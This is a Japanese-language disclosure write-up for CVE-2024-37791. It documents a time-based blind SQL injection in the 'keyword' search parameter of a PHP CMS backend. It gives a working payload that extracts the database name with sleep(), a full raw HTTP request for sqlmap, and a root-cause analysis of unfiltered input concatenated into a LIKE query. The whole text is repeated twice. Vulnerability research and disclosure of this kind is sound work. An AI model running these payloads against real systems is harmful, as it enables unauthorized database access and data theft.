
私のCVE-2024-37791
プロジェクトアドレス:****
準備作業:
バックエンドにログイン - cookieを取得
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
脆弱性パラメータ: keyword
ペイロード: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
インジェクションが成功すると遅延が1秒以上になり、そうでなければ遅延はありません。

sqlmap 検証:
cookie が必要です。
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


現在使用されているデータベース名の取得に成功しました。この脆弱性が存在します。
インジェクションパラメータ: keyword から検索することで呼び出し位置を特定できます。
app/system/admin/SystemExtendAdmin.php
第42行。

like を使用したあいまいマッチングが行われており、$value がフィルタリングされていないため、クエリに取り込まれて脆弱性が発生しています。
入力: and(select*from(select sleep(3))a//union//select 1)=

上の図に示すように:$value パラメータは第29行の $pageParams = request(); の request リクエストから取得され、第32行で $pageParams[$key] に対して urldecode() デコードが行われ、悪意のある SQL 文が得られます。防御策はありません。
そのためペイロードが直接連結されます。

実行後、完全な SQL 文は次のようになります:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
準備作業:
バックエンドにログイン - cookie を取得。
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
脆弱性パラメータ: keyword
ペイロード: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
インジェクションが成功すると遅延が1秒以上になり、そうでなければ遅延はありません。

sqlmap 認証:
cookie が必要です。
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


現在使用されているデータベース名の取得に成功しました。この脆弱性が存在します。
インジェクションパラメータ: keyword から検索することで呼び出し位置を特定できます。
app/system/admin/SystemExtendAdmin.php
第42行。

like を使用したあいまいマッチングが行われており、$value がフィルタリングされていないため、クエリに取り込まれて脆弱性が発生しています。
入力: and(select*from(select sleep(3))a//union//select 1)=

上の図に示すように:$value パラメータは第29行の $pageParams = request(); の request リクエストから取得され、第32行で $pageParams[$key] に対して urldecode() デコードが行われ、悪意のある SQL 文が得られます。防御策はありません。
そのためペイロードが直接連結されます。

実行後、完全な SQL 文は次のようになります:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')